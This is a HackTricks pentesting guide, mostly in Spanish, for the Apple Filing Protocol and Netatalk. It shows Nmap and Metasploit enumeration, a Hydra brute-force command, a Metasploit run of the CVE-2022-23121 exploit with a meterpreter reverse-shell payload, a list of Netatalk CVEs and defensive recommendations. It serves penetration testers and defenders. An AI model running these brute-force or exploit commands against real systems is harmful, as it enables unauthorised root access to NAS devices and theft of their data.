548 - Pentesting Apple Filing Protocol (AFP)

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

El Apple Filing Protocol (AFP), anteriormente conocido como AppleTalk Filing Protocol, es un protocolo de red especializado incluido dentro de Apple File Service (AFS). Está diseñado para proporcionar servicios de archivos para macOS y el clásico Mac OS. AFP destaca por soportar nombres de archivo Unicode, permisos estilo POSIX y ACL, resource forks, atributos extendidos con nombre y mecanismos sofisticados de bloqueo de archivos.

Aunque AFP ha sido reemplazado por SMB en las versiones modernas de macOS (SMB es el predeterminado desde OS X 10.9), todavía se encuentra en:

  • Entornos heredados de macOS / Mac OS 9
  • Appliances NAS (QNAP, Synology, Western Digital, TrueNAS…) que integran el daemon de código abierto Netatalk
  • Redes mixtas donde Time-Machine-over-AFP todavía está habilitado

Puerto TCP por defecto: 548 (AFP over TCP / DSI)

PORT     STATE SERVICE
548/tcp  open  afp

Enumeración

Información rápida del banner / servidor

# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Scripts NSE útiles para AFP:

ScriptQué hace
afp-lsLista los volúmenes y archivos AFP disponibles
afp-bruteBrute-force de contraseñas contra el login AFP
afp-serverinfoDump del nombre del servidor, tipo de máquina, versión de AFP, UAMs soportadas, etc.
afp-showmountLista los shares junto con sus ACLs
afp-path-vulnDetecta (y puede explotar) directory-traversal, CVE-2010-0533

El script de brute-force de NSE puede combinarse con Hydra/Medusa si se requiere más control:

hydra -L users.txt -P passwords.txt afp://<IP>

Si ya tienes credenciales, Nmap’s AFP scripts become much more useful porque afp-serverinfo leaks the advertised UAMs (auth methods), mientras que afp-showmount y afp-ls pueden enumerar recursos compartidos accesibles, ACLs y archivos interesantes:

nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>

Presta atención a:

  • Machine Type: Netatalk en la salida de afp-serverinfo, lo que normalmente significa un host NAS/Unix en lugar de la implementación AFP de Apple.
  • UAMs como DHX, DHX2, Cleartxt o Guest, porque indican directamente las rutas de login alcanzables y si la autenticación legada/debil está habilitada.
  • Share ACLs de afp-showmount; los shares world-readable o estilo drop-box a menudo exponen copias de seguridad, archivos .appl y metadatos de usuario antes incluso de que montes el volumen.

Interacción con shares

macOS

# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (usando afpfs-ng ‑ empaquetado en la mayoría de las distros)

apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Una vez montado, recuerda que los resource-forks clásicos de Mac se almacenan como archivos AppleDouble ocultos ._* – estos suelen contener metadatos interesantes que las herramientas DFIR pasan por alto.

En objetivos con Netatalk, este backend de metadatos también importa para la explotabilidad:

  • ea = ad means metadata is stored in AppleDouble v2 files / .AppleDouble directories.
  • ea = sys or ea = samba stores metadata in filesystem extended attributes instead.
  • En Netatalk 4.2+ la antigua opción appledouble fue eliminada y el backend se controla únicamente mediante la opción ea.

Desde una perspectiva ofensiva, esto te permite decidir rápidamente si AppleDouble-oriented bugs son más probables de ser alcanzables en el servidor.


Vulnerabilidades comunes & Explotación

Netatalk unauthenticated RCE chain (2022)

Several NAS vendors shipped Netatalk ≤3.1.12. A lack of bounds checking in parse_entries() allows an attacker to craft a malicious AppleDouble header and obtain remote root before authentication (CVSS 9.8 – CVE-2022-23121). A full write-up by NCC Group with PoC exploiting Western-Digital PR4100 is available.

Metasploit (>= 6.3) ships the module exploit/linux/netatalk/parse_entries which delivers the payload via DSI WRITE.

use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

Si el objetivo ejecuta un firmware afectado de QNAP/Synology, la explotación exitosa proporciona un shell como root.

Netatalk OpenSession heap overflow (2018)

Las versiones antiguas de Netatalk (3.0.0 - 3.1.11) son vulnerables a un out-of-bounds write en el handler DSI OpenSession, lo que permite una unauthenticated code execution (CVE-2018-1160). Un análisis detallado y un PoC fueron publicados por Tenable Research.

Newer Netatalk attack surface (2022-2024)

Los avisos recientes de Netatalk muestran que la superficie de ataque ya no se limita a parse_entries() y al manejo de OpenSession:

  • CVE-2022-45188: un archivo .appl especialmente creado puede desencadenar un heap overflow en afp_getappl; esto es especialmente relevante si puedes escribir archivos en un share y el servidor ejecuta las funciones FCE / notify.
  • CVE-2023-42464: un bug de type confusion en los Spotlight RPC handlers puede volverse accesible cuando spotlight = yes está habilitado en afp.conf (desactivado por defecto).
  • CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: escrituras one-byte heap out-of-bounds en rutas relacionadas con login corregidas en Netatalk 2.4.1 / 3.1.19 / 3.2.1. Estos bugs son interesantes porque la explotabilidad depende de los UAMs configurados:
    • uams_clrtxt.so + PAM-backed ClearTxt login expone la ruta FPLoginExt relevante para CVE-2024-38439.
    • uams_dhx.so + PAM-backed DHX login alcanza la ruta vulnerable para CVE-2024-38440.
    • uams_guest.so mantiene accesible la ruta de login Guest para CVE-2024-38441.

Esto significa que la salida de afp-serverinfo no es solo datos de fingerprinting; te ayuda a decidir qué login parser está expuesto antes de gastar tiempo en desarrollo de exploits o triage de firmware NAS.

Other notable issues

  • CVE-2022-22995 – Symlink redirection leading to arbitrary file write / RCE when AppleDouble v2 is enabled (3.1.0 - 3.1.17).
  • CVE-2010-0533 – Directory traversal in Apple Mac OS X 10.6 AFP (detected by afp-path-vuln.nse).
  • Multiple memory-safety bugs were fixed again during the 2024 Netatalk releases; if you identify Netatalk in afp-serverinfo, spend a minute correlating the exposed UAMs / Spotlight / metadata backend with the server version before assuming only the 2018/2022 bugs matter.

Defensive Recommendations

  1. Disable AFP unless strictly required – use SMB3 or NFS instead.
  2. If AFP must stay, upgrade Netatalk to ≥ 3.1.18 or 4.x, or apply vendor firmware that back-ports the 2022/2023/2024 patches.
  3. Enforce Strong UAMs (e.g. DHX2), disable clear-text and guest logins.
  4. Restrict TCP 548 to trusted subnets and wrap AFP inside a VPN when exposed remotely.
  5. Periodically scan with nmap -p 548 --script afp-* in CI/CD to catch rogue / downgraded appliances.

Brute-Force

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks